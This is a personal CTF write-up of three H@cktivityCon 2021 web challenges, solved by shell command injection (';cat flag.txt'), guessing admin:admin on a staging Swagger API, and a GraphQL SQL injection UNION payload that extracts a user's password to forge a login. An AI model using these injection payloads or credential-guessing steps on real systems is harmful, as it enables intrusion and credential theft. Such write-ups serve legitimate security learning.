H@cktivityCon 2021 CTF
H@cktivityCon 2021 CTF
I’ve participated in the 2021 H@cktivityCon CTF. Sadly during the active period of this CTF, I did not have a lot of time to spend on the challenges. However, I did manage to finish the following three:
- Confidentiality
- Swaggy
- All Baked Up
You can find my writeups for each of these challenges below. Feel free to contact me about anything at newline [ATSIGN] newline.blog
Confidentiality
Difficulty | Category | points |
---|---|---|
Easy | web | 50 points |
This service allows the user to run ls -l
on any user-specified file and returned the output of the command. As can be guessed by the functionality alone, the service is vulnerable to a Linux command injection vulnerability.
Entering ;ls
as file returns:
As can be seen in the image, the injected ls
command is executed as its output is present underneath the original script output. This also shows that the flag.txt
file is present in the same folder as the script.
Combining our knowledge about the implementation, a simple ;cat flag.txt
returns the flag!
flag{e56abbce7b83d62dac05e59fb1e81c68}
Swaggy
Difficulty | Category | points |
---|---|---|
Easy | web | 50 points |
This challenge features a swagger UI interface.
A single endpoint is present which will give you the flag. However, as mentioned in the top left environment dropdown, this seems non-functional in the current production environment.
We can use this same dropdown to switch our environment to the staging environment. If we try to call the same API endpoint again, we get a different error message:
{
"error": "Missing authorization header"
}
In the top right we can attempt to authenticate our requests. Entering a default admin:admin
and calling the endpoint again gives us the flag:
{
"flag": "flag{e04f962d0529a4289a685112bf1dcdd3}"
}
I kind of guessed the default credentials of admin:admin
while randomly experimenting. During my testing, I did not see any way in which this could be discovered otherwise.
All Baked Up
Difficulty | Category | points |
---|---|---|
Medium | web | 482 points |
This web app features a recipe-sharing site running on GraphQL and serves JWT authentication cookies.
To explore the GraphQL endpoints, I used an extension for Burpsuite called inql. Exploring the GraphQL endpoints, we find the following available:
This burp suite extension also neatly prepares proper requests to each of the available endpoints. Using this we can easily create a user for ourselves. This gives us our valid JWT authorization token.
Attempting to now call the flag endpoint gives us the following message:
{
"data" : {
"flag" : ""
},
"errors" : [
{
"locations" : [
{
"column" : 2,
"line" : 2
}
],
"message" : "error only congon4tor can get the flag",
"path" : [
"flag"
]
}
]
}
I spend a significant amount of time attempting to mess with the JWT token. I ran a complete scan with jwt_tool and attempted various other common JWT vulnerabilities as well, all to no avail. The JWT implementation was solid.
After some experimentation, it appears that a different approach was required to gain access to the congon4tor
user; the post name field of the post.query
endpoint was vulnerable to SQL injection (UNION ALL SELECT
with 6 colums). Using the following payload I could extract the password of the congon4tor
user:
{
"query" : "query {\n\tpost(name:\"' union all select '0','b','c',(SELECT password FROM users),'e','f\") {\n\t\timage\n\t\tauthor {\n\t\t\tid\n\t\t}\n\t\tcontent\n\t\tname\n\t\tid\n\t}\n}"
}
With the above query, I assumed that the congon4tor
user would be the first in the users
table, looking somewhat as follows:
id | username | password |
---|---|---|
0 | congon4tor |
n8bboB!3%vDwiASVgKhv |
Giving us his password in the response as follows:
{
"data" : {
"post" : [
{
"author" : {
"id" : 0
},
"content" : "n8bboB!3%vDwiASVgKhv",
"id" : 0,
"image" : "c",
"name" : "b"
}
]
}
}
Then I simply authenticated myself as congon4tor
with the authenticateUser.query
endpoint with the credentials to obtain a valid JWS token:
{
"query" : "mutation {\n\tauthenticateUser(password:\"n8bboB!3%vDwiASVgKhv\", username:\"congon4tor\") {\n\t\ttoken\n\t\tuser {\n\t\t\tid\n\t\t}\n\t}\n}"
}
With response:
{
"data" : {
"authenticateUser" : {
"token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNvbmdvbjR0b3IiLCJleHAiOjE2MzIwNTk4NTAsImlhdCI6MTYzMTg4NzA1MCwiaXNzIjoiQ29uZ29uNHRvciJ9.N9Gc9l_bSxkU85fQ5y_nkU0P8lLMQswBBHmvoOOIAiE",
"user" : {
"id" : 0
}
}
}
}
After setting the JWT token in the request header and calling the flag.query
endpoint, I’ve obtained the flag in the response:
{
"data" : {
"flag" : "flag{9d26b6e4a765ecd87fe03a1494c22236}"
}
}